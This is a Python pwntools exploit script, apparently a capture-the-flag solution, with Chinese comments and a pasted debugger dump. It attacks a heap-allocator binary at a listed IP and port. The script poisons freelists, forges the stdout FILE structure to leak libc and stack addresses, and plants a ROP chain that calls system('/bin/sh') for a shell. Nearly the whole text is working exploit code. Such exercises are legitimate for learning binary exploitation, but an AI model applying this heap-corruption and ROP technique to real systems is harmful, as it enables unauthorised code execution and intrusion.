from pwn import *
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "47.100.139.115"
PORT = 30708
elf = context.binary = ELF('./pwn')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
p = connect()
def alloc(idx,size,content):
p.sendlineafter('>','1')
p.sendlineafter('idx',str(idx))
p.sendlineafter('size',str(size))
p.sendafter('Content',content)
def dealloc(idx):
p.sendlineafter('>','2')
p.sendlineafter('idx',str(idx))
stdout_addr = 0x404040
alloc(0,0x80,b'A'*0x38+p64(stdout_addr)+b'A'*0x40)
alloc(1,0x80,b'A'*0x40+p64(0xDEADBEAF)+b'A'*0x38)
#清空0x80的freelist 使得 arena_end - arena_start < 0x38 这样申请内存就会从0x80的free list中切割然后拿了
for i in range(2,40):
alloc(i,0x80,'B'*0x80)
#释放一个0x80堆块用来建立0x38的freelist
dealloc(0)
#尝试分配0x38,由于对应freelist为空,在刚释放的0x80(0号)上建立链表并填充0x38的freelist
alloc(0,0x38,'C'*0x38)
#正常取出一个堆块
alloc(40,0x38,'C'*0x38)
#取出stdout, 使next chunk为 _p_2_1_stdout_
alloc(41,0x38,b'\x80') #覆盖stdout的低位,stdout低位原本就是 \x80
## pwndbg> p _p_2_1_stdout_
## $2 = {
## file = {
## _flags = -72542208, //0xfbad1800
## _io_read_ptr = 0x0,
## _io_read_end = 0x0,
## _io_read_base = 0x0,
## _io_write_base = 0x7ffff7dd2600 <_io_2_1_stderr_+192> 'A' <repeats 32 times>, //低字节修改成了00
## _io_write_ptr = 0x7ffff7dd26a3 <_io_2_1_stdout_+131> "\n",
## _io_write_end = 0x7ffff7dd26a3 <_io_2_1_stdout_+131> "\n",
## _io_buf_base = 0x7ffff7dd26a3 <_io_2_1_stdout_+131> "\n",
## _io_buf_end = 0x7ffff7dd26a4 <_io_2_1_stdout_+132> "",
## _io_save_base = 0x0,
## _io_backup_base = 0x0,
## _op_save_end = 0x0,
## _markers = 0x0,
## _chain = 0x7ffff7dd18e0 <_p_2_1_stdin_>,
## _fileno = 1,
## _flags2 = 0,
## _old_offset = -1,
## _cur_column = 0,
## _vtable_offset = 0 '\000',
## _shortbuf = "\n",
## _lock = 0x7ffff7dd3780 <_p_stdfile_1_lock>,
## _offset = -1,
## _codecvt = 0x0,
## _wide_data = 0x7ffff7dd17a0 <_p_wide_data_1>,
## _freeres_list = 0x0,
## _freeres_buf = 0x0,
## __pad5 = 0,
## _mode = -1,
## _unused2 = '\000' <repeats 19 times>
## },
## vtable = 0x7ffff7dd06e0 <_p_file_jumps>
## }
payload = flat([0xfbad1800,0,0,0,elf.got['free'],elf.got['free']+0x8,elf.got['free']]) #伪造_p_2_1_stdout_读取libc地址
## gdb.attach(p)
alloc(42,0x38,payload)
p.interactive()
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['free']
success(f"libc_base ->{hex(libc_base)}")
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
environ_addr = libc_base+libc.sym['environ']
pop_rdi = libc_base + 0x2a3e5
ret = libc_base + 0x2a3e6
#释放再取回,伪造_p_2_1_stdout_泄露environ得到栈地址
dealloc(42)
payload = flat([0xfbad1800,0,0,0,environ_addr,environ_addr+8,environ_addr+8])
alloc(42,0x38,payload)
stack_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x140
success(f"stack_addr ->{hex(stack_addr)}")
#利用残留数据,布置任意地址写用的堆块
dealloc(1)
alloc(1,0x80,b'A'*0x40+p64(stack_addr)+b'A'*0x38)
dealloc(1)
#尝试分配0x40,由于对应freelist为空,在刚释放的0x80(1号)上建立链表并填充0x40的freelist
alloc(1,0x40,'C'*0x40)
alloc(43,0x40,'C'*0x40)
payload = p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
alloc(44,0x40,payload)
p.interactive()